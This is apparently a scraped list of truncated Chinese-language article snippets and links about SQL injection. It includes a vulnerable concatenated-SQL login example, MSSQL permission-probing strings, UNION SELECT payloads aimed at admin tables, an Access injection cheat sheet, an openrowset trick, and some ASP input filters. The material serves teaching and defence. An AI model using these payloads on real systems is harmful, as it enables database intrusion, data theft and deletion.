这就给不怀好意的同学可乘之机,利用输入一些奇特的查询字符串,拼接成特定的SQL语句,即可达到注入的目的。不仅可以获取数据库重要信息,权限没有设置好的话甚至可以删除掉整个表。因此,SQL注入漏洞还是相当的严重的。发现以前偶刚学写的网站的时候也是靠拼接SQL语句吃饭滴……示例为了更好了学习和了解SQL注入的方法,做了一个示例网页,界面如下: 点击登陆这块的代码如下,注意第5行,我们使用了拼接SQL语句:[code]privatevoidLogin(){stringuname=tbName.Text;stringpwd=tbPassword.Text;stringsqlCmd="selec...
http://www.jb51.net//article/15689.htm
//看看是什么权限的and1=(SelectIS_MEMBER('db_owner'))Andchar(124)%2BCast(IS_MEMBER('db_owner')asvarchar(1))%2Bchar(124)=1;--//检测是否有读取某数据库的权限and1=(SelectHAS_DBACCESS('master'))Andchar(124)%2BCast(HAS_DBACCESS('master')asvarchar(1))%2Bchar(124)=1--数字类型andchar(124)%2Buser%2Bchar(124)=0字符类型'andchar(124)%2Buser%2...
http://www.jb51.net//article/15495.htm
'%23 ' and passWord='mypass id=-1 union select 1,1,1 id=-1 union select char(97),char(97),char(97) id=1 union select 1,1,1 from members id=1 union select 1,1,1 from admin id=1 ...
http://www.jb51.net//article/15195.htm
<SCRIPT LANGUAGE="VBScript">Sub Window_onLoad window.resizeTo 450,380 window.moveTo 300, 300End Sub </SCRIPT><SCRIPT LANGUAGE="VBScript">Function getHTTPPage(Path) &nbs...
http://www.jb51.net//article/15100.htm
把下面保存成 Test.asp[code]<? $mysql_server_name = "localhost"; $mysql_username = "root"; $mysql_password = "password"; $mysql_databas...
http://www.jb51.net//article/14777.htm
1.关于openrowset和opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下: select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。 那么我...
http://www.jb51.net//article/14775.htm
作者:云舒What is MySQL Proxy?MySQL Proxy is a simple program that sits between your client and MySQL server(s) that can monitor, analyze or transform their communication. Its ...
http://www.jb51.net//article/14675.htm
放在conn.asp里就行了。 '屏蔽通过地址栏攻击 url=Request.ServerVariables("QUERY_STRING") if instr(url,";")>=1 then url=Replace(url,";",";") : Response.Redirect("?" & url) end if '屏蔽通过表单攻击 for each item in request.form&nbs...
http://www.jb51.net//article/14636.htm
声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试。绝对真实。如果有什么遗漏或错误,欢迎来安全天使论坛和我交流。前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯...
http://www.jb51.net//article/14601.htm
AccessSQL注入参考版本0.2.1(最近更新10/10/2007)原作者不详描述SQL查询及注释注释符Access中没有专门的注释符号.因此"/*","--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:'UNIONSELECT1,1,1FROMvalidTableName%00语法错误信息"[Microsoft][DriverODBCMicrosoftAccess]"多句执行不支持.联合查询Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.附属查询Access支持附属查询(例如:"TOP1"用来返回第一行的内容):'AND(SELEC...
http://www.jb51.net//article/14600.htm
最大的局限就在这里——插入数据,所以我们只能从程序现有的功能入手,其实很多程序都可以提交评论、留言、帖子等,就看程序是怎么把变量插入数据库的。其实道路就在我们身边,靠我们自己去开辟。 不用多说,先看在本地测试的一个简单例子,建立一个表,结构如下:CREATE TABLE `article` ( `articleid` INT NOT NULL AUTO_INCREMENT , `title` VARCHAR( 200 ) NOT NULL , `cont...
http://www.jb51.net//article/14446.htm
